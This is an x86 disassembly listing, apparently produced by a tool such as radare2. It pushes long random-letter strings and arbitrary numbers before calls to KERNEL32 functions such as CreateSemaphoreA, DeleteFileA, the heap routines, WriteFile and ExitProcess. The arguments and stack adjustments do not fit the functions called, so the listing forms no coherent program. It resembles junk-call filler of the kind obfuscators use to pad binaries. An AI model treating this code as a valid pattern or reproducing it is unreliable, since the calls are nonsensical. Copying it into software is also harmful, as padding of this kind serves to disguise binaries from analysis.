push str.pibsOTiWqnELblnDFcxajhuVxbAPZLITFCSyacyHPlHGDpEbEj
push str.hQwmarzXvZOgoqhSXkCkuYUOZggARVGGxSYhXslmpVoXetjtmBoGZdsleaxNGKcsEVxASON
push str.PcNxkONuhFadVjViQHTXlUJveeZYaVwbkvjuSrGArvLCPCouAkBBLuCSLmAmRtTAcxkXRjyFk
push str.qUsGYTUPeVpIoUeaFxcSFomvKqJVLPKyLfluBlpxQaTOzSsyVfWUpOqNwmStYBJhAgFCuGeXPamlenZPfCi
push str.paSmEygvUSEuQrqveXZHgBTeEqHekKtKKnhTFbNhNbUejcxluDJxUEULA
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
add esp, 0x24
push 0x54a6
push str.iYaQwZaVZEQBvVAHjspZSooBkJcEwwOPJqJfRnGVYyOgbhkOLPREAcNSkTXGuhOrWTEOsuQCawkriBqtWsgW
push 0x18593
push 0x17122
push str.mUrtDIhVgJCunnPkVNhssHzWplyJcTZZXHsAWnJFjlvdwHUugqDywVCWzhDWVZDlyiQoVpSjtRzErqlacigrZkSJtDDqPmV
push 0x2132
call dword [sym.imp.KERNEL32.dll_AllocConsole]
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x5b2f
push str.WvXQyKdOJGBVNrjtpSuQveKwUjNRkoblgjXUSjzBoLYwlCfDxUHmOVhkaCleEKKzzQF
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
add esp, 8
push str.HKSJlGDSawkrfYFheBUPdtFSucdwuWIlmQswfdqNueDbsDyPzlpsdVDjfwIiehlZWDxLBKFYiaNgfInKNvNXngprfwLW
push 0x123a2
push str.xqqmqhUiwtbwKjbZWymHeyHvuwRrYOswUCDUTNyjDjzXwZIjNYVWpFkkDoqulFJGwLWHWSYVjsjhkUXogkiFXUwxeJGWaFn
push str.OjfxLISwajvpdsldWQNSlTTqBvZzCtzYerSADPqnHzyfGFZdtOQpWOEHLVWtWVkgyNXsDEgQFzRZqPiPXwAEAGOAGUGuiIFD
push 0x170f9
push str.RDrHgPAqeLrTcuFnttYgzvRymWtHGaQHFntHdBYRfFBZjBgfpZARKfA
call dword [sym.imp.KERNEL32.dll_LocalFree]
add esp, 0x18
push str.VljoCELnnjckiTJwYSEdjjefpaULwhayIwPGxZAczNEGAPYsykNDjrDhkspemopThmyneCOsPBSyZkLcYFzEOrAAlEqY
push str.iiqgLolUjVFgtxeOpEcPnIYtuCIcIKCTnaVzEEKTFrLsjpEWKZKUAXPZHYxwEizeSuFs
push str.YAnKjgawtszynZCwwrfUJDBZyDNwWNLfBhqiFGAfmBuDPqildCEDJNsBbuobqpnnd
push str.CGIilREsHTWFIjdROxJpYjzDwrSiCTsLbXkTDhehjhDnHjaPuWYOgeLxuFSqERJOtolKVJVroO
push str.OcrEFtqhmXnJDPBOgAyiEATxhoHrHKttPlaPZKGzteWlvbTTGtPPRmxQbXxdXOPADje
call dword [sym.imp.KERNEL32.dll_HeapSize]
add esp, 0x14
push str.yIXoWrlagbNlJFjcmdNunDpqvSKpLNzaOsHhXGXeAWlmSserdwxwSIHKCRzPPHuUYVsXiThTjRdDaLUjIbTQtrZOdeUPXNrYj
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
add esp, 4
push str.gsbrdnJALJwYIjOxHweofOoujNqlIDrQUAVzvoioDhtgXbWxqtgrJeoNywqUBlQOiLCKghHwXftamWyyKR
push 0x1a2e
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
add esp, 8
push str.mKyPcfamKNaCaeOVheXOnRRphVXJyxZewEBtJFFUodZeVHZGNypUcYvcfEPogS
push str.fxkKzyOmrXFCozFNyjnfaZidBekhkGxsnoJzzlYpRZevWhItSazkFsImrynRKLjxJXyNvIwpntWKVtmdrNdcUAOvOXzvAFPkO
call dword [sym.imp.KERNEL32.dll_GetFileType]
add esp, 8
push str.hmDTTRBRIvaJsPKudSsKjsGnrmOESIyxKeWocujLpEmBwnVJEyqCggupzTaybTmuzciQqukwnsFoq
push str.jVPBPrnbjsgzapBeXRxszQGKHzxuROzKSKHQvfJgKJgPbkruVOyKmhrGgvItmKdzGxPxSbpTGECqRCECgWqQPD
push 0x6de8
push 0x2daf
push 0x1081e
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esp, 0x14
push 0x16a82
push str.tZjYgRbvcoIaRrJTyRuYrJYIxvegqwJScizXHvnxNuIruYYPZwmsVKDtmZhnofwcxhrcIZtdJzXEsNCXucpcbxensRCAN
call dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetACP]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push str.AhnjzooPGSIbCmopjoOuHXbpkfiFxSDwFQzxavyaGnUjAYevqEbtFTnnDLSSZOjwCgoqKl
push str.XvuzPGdEVOtDxVCIKesOnKBIntqxSCzvNtseNXZPdjKHCQbNCZBveHbtJvyuHgZTalTVZDOH
push str.FryOCQPEIsmrJfHSacREbqUjJkbBuBBrnxsVlPiCmqYolqjQVkTClpKGg
push str.XlVypzwWbYzyzkVqGekhQSjsLilPoRvKJnZpdhrWceeJjWNvVwOcAl
push str.HmCFLCHynCqjviCmsQGWlIyvcFDtEwVUGXbuIzwOTepLVkgDSVuFoatmSLyDVRrbhWtdDieRRLStlABzjNBlCQAIeKWJs
push 0x15cff
push str.AtmdSvjtPorCTagQNFrZBqptbXuzTDiRvzGjrWuhLmGnnHqYemGJqYUYcwWzcHaPfstL
push str.FGLkYoNaKAYuRchNmVLBvvmgIpRUtGErWUSESHjDoHZNXqbLTXYLSSoISlNDTqLDPrjKeUKFXXJAIfweDdBrn
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x8dc9
push str.QSHozdBYmRuYIDbeTzyoCkOhyTbbUVkdaenNLLBWabYVasnFdEOhqUUNQgFrpaZEoPSFnKGGaKvKFhhmxnFlKfdU
push str.icTohPbnHiDVjtiHscztPoZHTGupEfOUpqPkseqDOvlxTjmGjcRNRcIACYEjJbFptpgiTIFrGWvFvbooboDWnjyQvQrkJSFs
push 0xbc39
push str.pYdWyWEHfarbmEmdtlrRBhcYKzYSzOyqiIIYafLuxIjkiIIeNAbleYCQRCcspqA
push str.TZrlsCPUwhsvmsHSBKZBExVrNXetOnjnORAQqToqsqNSnHJoLxlQRCNAzvYez
push 0x126cd
push str.wWneRUYdWwfEKQwuXynBwoBrzBIcsUAXBdiRJKfNjuRvTbKdSiNokHCEPemybxeEWONCVXJNElOxnbItzTsTjmanebRwL
push 0x8e01
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
add esp, 0x24
push str.eRIqcogKOJCYkjrfzvnDjJpTrsFzlgJtjLjYaYXzDOAeSCHlcfXLQGGIHFWuSCBWKLTCzywKfixahd
push 0x3ac3
push 0x2ecd
push 0x6b3f
push 0x6daa
push 0xa6be
push 0x3afa
push 0x9665
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov esp, ebp
pop ebp
ret